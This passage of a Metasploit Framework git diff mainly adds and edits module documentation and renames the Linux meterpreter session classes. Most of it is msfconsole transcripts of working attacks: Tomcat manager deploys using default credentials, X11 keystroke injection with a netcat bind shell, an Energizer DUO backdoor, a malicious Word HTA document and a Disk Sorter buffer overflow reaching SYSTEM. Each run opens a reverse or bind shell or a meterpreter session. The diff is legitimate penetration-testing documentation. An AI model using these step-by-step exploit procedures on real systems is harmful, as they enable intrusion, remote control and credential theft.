java/meterpreter/reverse_tcp + msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set target 1 target => 1 @@ -54,8 +54,8 @@ For this exploitation, it was changed to simply `manager`. msf exploit(tomcat_mgr_deploy) > check [*] 192.168.2.108:8086 The target appears to be vulnerable. msf exploit(tomcat_mgr_deploy) > exploit - - [*] Started reverse TCP handler on 192.168.2.117:4444 + + [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Java Universal" [*] Uploading 6071 bytes as scEYoK0.war ... [!] No active DB -- Credential data will not be saved! @@ -63,12 +63,12 @@ For this exploitation, it was changed to simply `manager`. [*] Undeploying scEYoK0 ... [*] Sending stage (49409 bytes) to 192.168.2.108 [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.108:1663) at 2017-01-14 14:30:52 -0500 - + meterpreter > sysinfo Computer : winxp OS : Windows XP 5.1 (x86) Meterpreter : java/windows - + ``` ### Tomcat 7 (7.0.73) @@ -96,7 +96,7 @@ Of note, the user was given `manager-gui` permissions by default. 3. Exploitation: ``` - msf > use exploit/multi/http/tomcat_mgr_deploy + msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108 rhost => 192.168.2.108 msf exploit(tomcat_mgr_deploy) > set path /manager/text @@ -111,15 +111,15 @@ Of note, the user was given `manager-gui` permissions by default. lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set rport 8087 rport => 8087 - msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp + msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set target 1 target => 1 msf exploit(tomcat_mgr_deploy) > check [*] 192.168.2.108:8087 The target appears to be vulnerable. msf exploit(tomcat_mgr_deploy) > exploit - - [*] Started reverse TCP handler on 192.168.2.117:4444 + + [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Java Universal" [*] Uploading 6086 bytes as Cl6t6gurtwIO59zV3Lt6.war ... [!] No active DB -- Credential data will not be saved! @@ -127,7 +127,7 @@ Of note, the user was given `manager-gui` permissions by default. [*] Undeploying Cl6t6gurtwIO59zV3Lt6 ... [*] Sending stage (49409 bytes) to 192.168.2.108 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:1656) at 2017-01-14 14:27:21 -0500 - + meterpreter > sysinfo Computer : winxp OS : Windows XP 5.1 (x86) @@ -159,12 +159,12 @@ Of note, the user was given `manager-gui` permissions by default. 3. Exploitation: ``` - msf > use exploit/multi/http/tomcat_mgr_deploy + msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108 rhost => 192.168.2.108 msf exploit(tomcat_mgr_deploy) > set rport 8088 rport => 8088 - msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp + msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 @@ -178,15 +178,15 @@ Of note, the user was given `manager-gui` permissions by default. msf exploit(tomcat_mgr_deploy) > set path /manager/text path => /manager/text msf exploit(tomcat_mgr_deploy) > exploit - - [*] Started reverse TCP handler on 192.168.2.117:4444 + + [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Java Universal" [*] Uploading 6085 bytes as c6TYmkd8YAe8LqKQhSCr.war ... [*] Executing /c6TYmkd8YAe8LqKQhSCr/PtW1uMsYCIFP1gs16PUiwE7oc.jsp... [*] Undeploying c6TYmkd8YAe8LqKQhSCr ... [*] Sending stage (49409 bytes) to 192.168.2.108 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:1196) at 2017-01-14 10:24:52 -0500 - + meterpreter > sysinfo Computer : winxp OS : Windows XP 5.1 (x86) @@ -215,7 +215,7 @@ Of note, the user was given `manager-gui` permissions by default. 3. Exploit: ``` - msf > use exploit/multi/http/tomcat_mgr_deploy + msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.156 rhost => 192.168.2.156 msf exploit(tomcat_mgr_deploy) > set rport 8080 @@ -226,15 +226,15 @@ Of note, the user was given `manager-gui` permissions by default. HttpUsername => tomcat msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat HttpPassword => tomcat - msf exploit(tomcat_mgr_deploy) > set payload linux/x86/mettle/reverse_tcp - payload => linux/x86/mettle/reverse_tcp + msf exploit(tomcat_mgr_deploy) > set payload linux/x86/meterpreter/reverse_tcp + payload => linux/x86/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set target 3 target => 3 msf exploit(tomcat_mgr_deploy) > exploit - - [*] Started reverse TCP handler on 192.168.2.117:4444 + + [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Linux x86" [*] Uploading 1545 bytes as 9bj4IYa66cSpdK.war ... [!] No active DB -- Credential data will not be saved! @@ -243,7 +243,7 @@ Of note, the user was given `manager-gui` permissions by default. [*] Sending stage (335800 bytes) to 192.168.2.156 [*] Undeploying 9bj4IYa66cSpdK ... [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:40020) at 2017-01-11 21:18:31 -0500 - + meterpreter > sysinfo Computer : Ubuntu14.04 OS : Ubuntu 14.04 (Linux 4.2.0-27-generic) @@ -273,15 +273,15 @@ Of note, as of Tomcat 7, the permission role `manager` has been divided into sev 3. Exploit: ``` - msf > use exploit/multi/http/tomcat_mgr_deploy + msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.118 rhost => 192.168.2.118 msf exploit(tomcat_mgr_deploy) > set rport 8087 rport => 8087 msf exploit(tomcat_mgr_deploy) > set target 3 target => 3 - msf exploit(tomcat_mgr_deploy) > set payload linux/x86/mettle/reverse_tcp - payload => linux/x86/mettle/reverse_tcp + msf exploit(tomcat_mgr_deploy) > set payload linux/x86/meterpreter/reverse_tcp + payload => linux/x86/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat @@ -294,8 +294,8 @@ Of note, as of Tomcat 7, the permission role `manager` has been divided into sev msf exploit(tomcat_mgr_deploy) > set path /manager/text path => /manager/text msf exploit(tomcat_mgr_deploy) > exploit - - [*] Started reverse TCP handler on 192.168.2.117:4444 + + [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Linux x86" [*] Uploading 1579 bytes as 9QymzSGGU0H4e.war ... [!] No active DB -- Credential data will not be saved! @@ -304,7 +304,7 @@ Of note, as of Tomcat 7, the permission role `manager` has been divided into sev [*] Transmitting intermediate stager...(106 bytes) [*] Sending stage (335800 bytes) to 192.168.2.118 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:34294) at 2017-01-08 20:35:24 -0500 - + meterpreter > sysinfo Computer : 192.168.2.118 OS : Ubuntu 16.04 (Linux 4.4.0-21-generic) @@ -335,15 +335,15 @@ Of note, as of 7, the permission role 'manager' has been divided into several su 3. Exploit: ``` - msf > use exploit/multi/http/tomcat_mgr_deploy + msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.118 rhost => 192.168.2.118 msf exploit(tomcat_mgr_deploy) > set rport 8088 rport => 8088 msf exploit(tomcat_mgr_deploy) > set target 3 target => 3 - msf exploit(tomcat_mgr_deploy) > set payload linux/x86/mettle/reverse_tcp - payload => linux/x86/mettle/reverse_tcp + msf exploit(tomcat_mgr_deploy) > set payload linux/x86/meterpreter/reverse_tcp + payload => linux/x86/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat @@ -355,8 +355,8 @@ Of note, as of 7, the permission role 'manager' has been divided into several su msf exploit(tomcat_mgr_deploy) > set path /manager/text path => /manager/text msf exploit(tomcat_mgr_deploy) > exploit - - [*] Started reverse TCP handler on 192.168.2.117:4444 + + [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Linux x86" [*] Uploading 1560 bytes as 9s0fTUyPa2HJCDnod2wEQJ.war ... [!] No active DB -- Credential data will not be saved! @@ -365,7 +365,7 @@ Of note, as of 7, the permission role 'manager' has been divided into several su [*] Transmitting intermediate stager...(106 bytes) [*] Sending stage (335800 bytes) to 192.168.2.118 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:33802) at 2017-01-14 11:06:13 -0500 - + meterpreter > sysinfo Computer : 192.168.2.118 OS : Ubuntu 16.04 (Linux 4.4.0-59-generic) diff --git a/documentation/modules/exploit/multi/local/allwinner_backdoor.md b/documentation/modules/exploit/multi/local/allwinner_backdoor.md index 230c8918e2..7c3087621d 100644 --- a/documentation/modules/exploit/multi/local/allwinner_backdoor.md +++ b/documentation/modules/exploit/multi/local/allwinner_backdoor.md @@ -38,8 +38,8 @@ msf exploit(allwinner_backdoor) > set verbose true verbose => true msf exploit(allwinner_backdoor) > set session 1 session => 1 -msf exploit(allwinner_backdoor) > set payload linux/armle/mettle/reverse_tcp -payload => linux/armle/mettle/reverse_tcp +msf exploit(allwinner_backdoor) > set payload linux/armle/meterpreter/reverse_tcp +payload => linux/armle/meterpreter/reverse_tcp msf exploit(allwinner_backdoor) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(allwinner_backdoor) > check @@ -50,7 +50,7 @@ msf exploit(allwinner_backdoor) > exploit ## Successful exploitation: ``` -[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Transmitting intermediate stager...(136 bytes) [*] Sending stage (374540 bytes) to 192.168.2.248 [+] Backdoor Found, writing payload to /tmp/odzVx.elf @@ -68,4 +68,4 @@ Computer : 192.168.2.248 OS : Ubuntu 14.04 (Linux 3.4.39) Architecture : armv7l Meterpreter : armle/linux -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/unix/x11/x11_keyboard_exec.md b/documentation/modules/exploit/unix/x11/x11_keyboard_exec.md new file mode 100644 index 0000000000..573486f953 --- /dev/null +++ b/documentation/modules/exploit/unix/x11/x11_keyboard_exec.md @@ -0,0 +1,137 @@ +## Vulnerable Application + +X11 (X Window System) is a graphical windowing system most common on unix/linux. +The service can accept connections from any users when misconfigured which is done with the command `xhost +`. + +This exploit has been verified against: + +1. Ubuntu 14.04 +2. Ubuntu 16.04 +3. Kali via Emulation method + +This exploit does NOT work against: + +1. Solaris 10 Java Desktop System (alt+F2 has no effect) + +### Emulation + +This can be emulated (on kali) utilizing the following command: `socat -d -d TCP-LISTEN:6000,fork UNIX-CONNECT:/tmp/.X11-unix/X0` + +### Ubuntu 12.04, 14.04 + +1. `sudo nano /etc/lightdm/lightdm.conf` +2. Under the `[SeatDefaults]` area, add: + + ``` + xserver-allow-tcp=true + allow-guest=true + ``` + +3. logout or reboot +4. Verification: ```sudo netstat -antp | grep 6000``` + + ``` + tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X + ``` + +5. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Ubuntu 16.04 + + Use the Ubuntu 12.04 instructions, however change `SeatDefaults` to `Seat:*` + + +## Verification Steps + + 1. Install and configure X11 + 2. Start msfconsole + 3. Do: `use exploit/unix/x11/x11_keyboard_exec` + 4. Do: `set rhost [IPs]` + 5. Do: `set payload [payload]` + 6. Do: `exploit` + +## Scenarios + +### Ubuntu 14.04 + +``` +msf exploit(x11_keyboard_exec) > set payload cmd/unix/bind_netcat +payload => cmd/unix/bind_netcat +msf exploit(x11_keyboard_exec) > run + +[*] Started bind handler +[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Register keyboard +[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Opening "Run Application" +[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Waiting 5 seconds... +[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Opening xterm +[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Waiting 5 seconds... +[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Typing and executing payload +[*] Command shell session 1 opened (192.168.2.117:44549 -> 192.168.2.75:4444) at 2017-04-23 15:26:56 -0400 + +id +uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) +cat /etc/*release +DISTRIB_ID=Ubuntu +DISTRIB_RELEASE=14.04 +DISTRIB_CODENAME=trusty +DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS" +NAME="Ubuntu" +VERSION="14.04.5 LTS, Trusty Tahr" +ID=ubuntu +ID_LIKE=debian +PRETTY_NAME="Ubuntu 14.04.5 LTS" +VERSION_ID="14.04" +``` + +### Ubuntu 16.04 + +``` +msf exploit(x11_keyboard_exec) > set rhost 192.168.2.26 +rhost => 192.168.2.26 +msf exploit(x11_keyboard_exec) > set payload cmd/unix/bind_netcat +payload => cmd/unix/bind_netcat +msf exploit(x11_keyboard_exec) > exploit + +[*] Started bind handler +[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Register keyboard +[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Opening "Run Application" +[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Waiting 5 seconds... +[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Opening xterm +[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Waiting 5 seconds... +[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Typing and executing payload +[*] Command shell session 2 opened (192.168.2.117:45813 -> 192.168.2.26:4444) at 2017-04-23 15:29:27 -0400 + +id +uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) +cat /etc/*release +DISTRIB_ID=Ubuntu +DISTRIB_RELEASE=16.04 +DISTRIB_CODENAME=xenial +DISTRIB_DESCRIPTION="Ubuntu 16.04.1 LTS" +NAME="Ubuntu" +VERSION="16.04.1 LTS (Xenial Xerus)" +ID=ubuntu +ID_LIKE=debian +PRETTY_NAME="Ubuntu 16.04.1 LTS" +VERSION_ID="16.04" +UBUNTU_CODENAME=xenial +``` + +### Kali via Emulation + +``` +msf exploit(x11_keyboard_exec) > set payload cmd/unix/bind_netcat +payload => cmd/unix/bind_netcat +msf exploit(x11_keyboard_exec) > set rhost 127.0.0.1 +rhost => 127.0.0.1 +msf exploit(x11_keyboard_exec) > run + +[*] Started bind handler +[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Register keyboard +[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Opening "Run Application" +[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Waiting 5 seconds... +[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Opening xterm +[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Waiting 5 seconds... +[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Typing and executing payload +[*] Command shell session 3 opened (127.0.0.1:37909 -> 127.0.0.1:4444) at 2017-04-23 15:35:26 -0400 +``` diff --git a/documentation/modules/exploit/windows/backdoor/energizer_duo_payload.md b/documentation/modules/exploit/windows/backdoor/energizer_duo_payload.md new file mode 100644 index 0000000000..f7ca2110db --- /dev/null +++ b/documentation/modules/exploit/windows/backdoor/energizer_duo_payload.md @@ -0,0 +1,36 @@ +## Vulnerable Application + +More information can be found on the [Rapid7 Blog](https://community.rapid7.com/community/metasploit/blog/2010/03/08/locate-and-exploit-the-energizer-trojan). +Energizer's "DUO" USB Battery Charger included a backdoor which listens on port 7777. + +The software can be downloaded from the [Wayback Machine](http://web.archive.org/web/20080722134654/www.energizer.com/usbcharger/language/english/download.aspx). + +## Verification Steps + + 1. Install the vulnerable software + 2. Start msfconsole + 3. Do: `use exploit/windows/backdoor/energizer_duo_payload` + 4. Do: `set rhost` + 5. Do: `set payload` + 6. Do: `exploit` + +## Scenarios + + A run against the backdoor + + ``` + msf > use exploit/windows/backdoor/energizer_duo_payload + msf exploit(energizer_duo_payload) > set RHOST 192.168.0.132 + msf exploit(energizer_duo_payload) > set PAYLOAD windows/meterpreter/reverse_tcp + msf exploit(energizer_duo_payload) > set LHOST 192.168.0.228 + msf exploit(energizer_duo_payload) > exploit + + [*] Started reverse handler on 192.168.0.228:4444 + [*] Trying to upload C:\NTL0ZTL4DhVL.exe... + [*] Trying to execute C:\NTL0ZTL4DhVL.exe... + [*] Sending stage (747008 bytes) + [*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.132:1200) + + meterpreter > getuid + Server username: XPDEV\Developer + ``` diff --git a/documentation/modules/exploit/windows/browser/firefox_uaf_smil.md b/documentation/modules/exploit/windows/browser/firefox_smil_uaf.md similarity index 100% rename from documentation/modules/exploit/windows/browser/firefox_uaf_smil.md rename to documentation/modules/exploit/windows/browser/firefox_smil_uaf.md diff --git a/documentation/modules/exploit/windows/fileformat/office_word_hta.md b/documentation/modules/exploit/windows/fileformat/office_word_hta.md new file mode 100644 index 0000000000..db02810852 --- /dev/null +++ b/documentation/modules/exploit/windows/fileformat/office_word_hta.md @@ -0,0 +1,68 @@ +Microsoft Office is an office suite of applications, servers, and services developed by Microsoft. Microsoft Office contains Microsoft Word, Microsoft Excel, Microsoft PowerPoint and so on. They can support OLE data integration and Virtusl Basic for Application scripting langauage. + +FireEye detected malicious Microsoft Office RTF documents that leverage a previously undisclosed vulnerability. This vulnerability allows a malicious actor to execute a Visual Basic script when the user opens a document containing an embedded exploit. FireEye has observed several Office documents exploiting the vulnerability that download and execute malware payloads from different well-known malware families. + +The attack involves a threat actor emailing a Microsoft Word document to a targeted user with an embedded OLE2link object. When the user opens the document, winword.exe issues a HTTP request to a remote server to retrieve a malicious .hta file, which appears as a fake RTF file. The Microsoft HTA application loads and executes the malicious script. In both observed documents the malicious script terminated the winword.exe process, downloaded additional payload(s), and loaded a decoy document for the user to see. The original winword.exe process is terminated in order to hide a user prompt generated by the OLE2link. + + +## Vulnerable Application + + +- Windows Vista Service Pack 2 +- Windows Vista x64 Edition Service Pack 2 +- Windows 7 for 32-bit Systems Service Pack 1 +- Windows 7 for x64-based Systems Service Pack 1 +- Windows Server 2008 for 32-bit Systems Service Pack 2 +- Windows Server 2008 R2 for x64-based Systems Service Pack 1 +- Windows Server 2008 for x64-based Systems Service Pack 2 +- Windows Server 2008 for Itanium-Based Systems Service Pack 2 +- Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1 +- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) +- Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) +- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) +- Windows Server 2012 +- Windows Server 2012 (Server Core installation) +- Microsoft Office 2007 Service Pack 3 +- Microsoft Office 2013 Service Pack 1 (32-bit editions) +- Microsoft Office 2013 Service Pack 1 (64-bit editions) +- Microsoft Office 2010 Service Pack 2 (32-bit editions) +- Microsoft Office 2010 Service Pack 2 (64-bit editions) +- Microsoft Office 2016 (32-bit edition) +- Microsoft Office 2016 (64-bit edition) + + +## Verification Steps + +1. Start msfconsole +2. Do: ```use exploit/windows/fileformat/office_word_hta``` +3. Do: ```set payload [PAYLOAD NAME]``` +3. Do: ```exploit``` + +## Demo + +``` +$ msfconsole +msf > use exploit/windows/fileformat/office_word_hta +msf exploit(office_word_hta) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(office_word_hta) > set lhost 192.168.146.1 +lhost => 192.168.146.1 +msf exploit(office_word_hta) > set srvhost 192.168.146.1 +srvhost => 192.168.146.1 +msf exploit(office_word_hta) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.146.1:4444 +[+] msf.doc stored at /Users/wchen/.msf4/local/msf.doc +[*] Using URL: http://192.168.146.1:8080/default.hta +[*] Server started. +``` + +After you have the malicious doc file and servers ready, copy the doc file onto the victim machine, +and open it with Microsoft Office Word. You should receive a session: + +``` +[*] Sending stage (957487 bytes) to 192.168.146.145 +[*] Meterpreter session 1 opened (192.168.146.1:4444 -> 192.168.146.145:50165) at 2017-04-24 16:00:49 -0500 +``` + diff --git a/documentation/modules/exploit/windows/http/disksorter_bof.md b/documentation/modules/exploit/windows/http/disksorter_bof.md new file mode 100644 index 0000000000..6d76a09d4d --- /dev/null +++ b/documentation/modules/exploit/windows/http/disksorter_bof.md @@ -0,0 +1,73 @@ +## Vulnerable Application + +[Disk Sorter Enterprise](http://www.disksorter.com) versions up to v9.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/5ffae2c1a4b2165e0dd2a8e37765ef0e-disksorterent_setup_v9.5.12.exe). + +## Verification Steps + 1. Install a vulnerable Disk Sorter Enterprise + 2. Start `Disk Sorter Enterprise` service + 3. Start `Disk Sorter Enterprise` client application + 4. Navigate to `Tools` > `Disk Sorter Options` > `Server` + 5. Check `Enable Web Server On Port 80` to start the web interface + 6. Start `msfconsole` + 7. Do `use exploit/windows/http/disksorter_bof` + 8. Do `set RHOST ip` + 9. Do `check` + 10. Verify the target is vulnerable + 11. Do `set PAYLOAD windows/meterpreter/reverse_tcp` + 12. Do `set LHOST ip` + 13. Do `exploit` + 14. Verify the Meterpreter session is opened + +## Scenarios + +###Disk Sorter Enterprise v9.5.12 on Windows 7 SP1 + +``` +msf exploit(disksorter_bof) > show options + +Module options (exploit/windows/http/disksorter_bof): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 172.16.0.9 yes The target address + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 172.16.0.20 yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Disk Sorter Enterprise v9.5.15 + + +msf exploit(disksorter_bof) > exploit + +[*] Started reverse TCP handler on 172.16.0.20:4444 +[*] Sending request... +[*] Sending stage (957487 bytes) to 172.16.0.9 +[*] Meterpreter session 1 opened (172.16.0.20:4444 -> 172.16.0.9:59371) at 2017-04-24 14:46:52 +0100 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : PC +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x86 +System Language : pt_PT +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x86/windows +meterpreter > +``` diff --git a/documentation/modules/exploit/winrm/winrm_script_exec.md b/documentation/modules/exploit/windows/winrm/winrm_script_exec.md similarity index 100% rename from documentation/modules/exploit/winrm/winrm_script_exec.md rename to documentation/modules/exploit/windows/winrm/winrm_script_exec.md diff --git a/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md b/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md index 528253d665..b5ced8524f 100644 --- a/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md +++ b/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md @@ -1,4 +1,4 @@ -linux/x86/meterpreter/reverse_tcp is the most pouplar payload against the Linux platform. It allows +linux/x86/meterpreter/reverse_tcp is the most popular payload against the Linux platform. It allows you to remotely take over the compromised system, having control of the file system, collect sensitive information such as credentials using post modules, etc. @@ -209,7 +209,7 @@ meterpreter > help ## Using a Post module -One of the best things about Meterprter is you have access to a variety of post modules that +One of the best things about Meterpreter is you have access to a variety of post modules that "shell" sessions might not have. Post modules provide you with more capabilities to collect data from the remote machine automatically. For example, stealing credentials from the system or third-party applications, or modify settings, etc. diff --git a/documentation/modules/post/hardware/automotive/canprobe.md b/documentation/modules/post/hardware/automotive/canprobe.md new file mode 100644 index 0000000000..b3d72de707 --- /dev/null +++ b/documentation/modules/post/hardware/automotive/canprobe.md @@ -0,0 +1,46 @@ +A basic fuzzer for CAN IDs. It can scan through CAN IDs and probes each data section +with a set value. The defualt is 0xFF. It can also iterate through all the possible +values for each byte as well. It has no concept of what is going on and makes no +attempt to check for return packets. + +## Options + + **STARTID** + + The CAN ID to start your scan from. + + **STOPID** + + The CAN ID to stop the CAN scan. If no STOPID is specified it will only scan one ID (STARTID). + + **FUZZ** + + If true the data segment will iterate through all possiblities (0-255). + + **PROBEVALUE** + + The value to put at each data segment. The default is 0xFF. When Fuzz is enabled this value is ignored. + + **PADDING** + + If you need to pad out the packet to be 8 packets for each request you can set this value to something between 0-255. + + **CANBUS** + + The bus to scan. See 'supported_buses' for a list of available buses. + +## Scenarios + + To quickly test how a vehicle or ECU reacts to random data throughout the packet. For instance, you +have identified some door controls using a certain CAN ID. By probing the other values you can often identify +other door related functions. + +Note: This is not a scanner. You would not want to run this against all the IDs in a car and expect (good) results. + +``` +hwbridge > run post/hardware/automotive/canprobe CANBUS=can0 STARTID=0x320 fuzz=true + +[*] Probing 0x320... +[*] Probe Complete + +``` diff --git a/documentation/modules/post/multi/manage/upload_exec.md b/documentation/modules/post/multi/manage/upload_exec.md new file mode 100644 index 0000000000..a300f2b2b7 --- /dev/null +++ b/documentation/modules/post/multi/manage/upload_exec.md @@ -0,0 +1,68 @@ +This module allows you to upload a binary file, and automatically execute it. + +## Vulnerable Application + +The following platforms are supported: + + +* Windows +* Linux +* OS X + +## Verification Steps + +1. Prepare for an executable file you wish to upload and execute. +2. Obtain a session from the target machine. +3. In msfconsole, do ```use post/multi/manage/upload_exec``` +4. Set the ```LFILE``` option +5. Set the ```RFILE``` option +6. Set the ```SESSION``` option +7. ```run``` + +## Options + +**LFILE** + +The file on your machine that you want to upload to the target machine. + +**RFILE** + +The file path on the target machine. This defaults to LFILE. + +## Demo + +``` +msf > use post/multi/manage/upload_exec +msf post(upload_exec) > show options + +Module options (post/multi/manage/upload_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LFILE yes Local file to upload and execute + RFILE no Name of file on target (default is basename of LFILE) + SESSION yes The session to run this module on. + +msf post(upload_exec) > set lfile /tmp/ +lfile => /tmp/ +msf post(upload_exec) > set lfile /tmp/msg.exe +lfile => /tmp/msg.exe +msf post(upload_exec) > set rfile C:\\Users\\sinn3r\\Desktop\\msg.exe +rfile => C:\Users\sinn3r\Desktop\msg.exe +msf post(upload_exec) > sessions + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 meterpreter x86/windows WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM 192.168.146.1:4444 -> 192.168.146.149:50168 (192.168.146.149) + +msf post(upload_exec) > set session 1 +session => 1 + +msf post(upload_exec) > run + +[-] Post interrupted by the console user +[*] Post module execution completed +``` diff --git a/documentation/modules/post/windows/gather/mdaemon_cred_collector.md b/documentation/modules/post/windows/gather/credentials/mdaemon_cred_collector.md similarity index 100% rename from documentation/modules/post/windows/gather/mdaemon_cred_collector.md rename to documentation/modules/post/windows/gather/credentials/mdaemon_cred_collector.md diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index a49d749dcc..78b169f801 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.14.15" + VERSION = "4.14.17" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/sessions/meterpreter_x64_mettle_linux.rb b/lib/msf/base/sessions/meterpreter_x64_linux.rb similarity index 85% rename from lib/msf/base/sessions/meterpreter_x64_mettle_linux.rb rename to lib/msf/base/sessions/meterpreter_x64_linux.rb index 2a81312faa..98e61cdfbd 100644 --- a/lib/msf/base/sessions/meterpreter_x64_mettle_linux.rb +++ b/lib/msf/base/sessions/meterpreter_x64_linux.rb @@ -10,7 +10,7 @@ module Sessions # This class creates a platform-specific meterpreter session type # ### -class Meterpreter_x64_Mettle_Linux < Msf::Sessions::Meterpreter +class Meterpreter_x64_Linux < Msf::Sessions::Meterpreter def supports_ssl? false end diff --git a/lib/msf/base/sessions/meterpreter_x86_linux.rb b/lib/msf/base/sessions/meterpreter_x86_linux.rb index 3d42c27618..ca83001525 100644 --- a/lib/msf/base/sessions/meterpreter_x86_linux.rb +++ b/lib/msf/base/sessions/meterpreter_x86_linux.rb @@ -11,6 +11,12 @@ module Sessions # ### class Meterpreter_x86_Linux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end def initialize(rstream, opts={}) super self.base_platform = 'linux' diff --git a/lib/msf/base/sessions/meterpreter_x86_mettle_linux.rb b/lib/msf/base/sessions/meterpreter_x86_mettle_linux.rb deleted file mode 100644 index 80c4a1b853..0000000000 --- a/lib/msf/base/sessions/meterpreter_x86_mettle_linux.rb +++ /dev/null @@ -1,29 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/base/sessions/meterpreter' - -module Msf -module 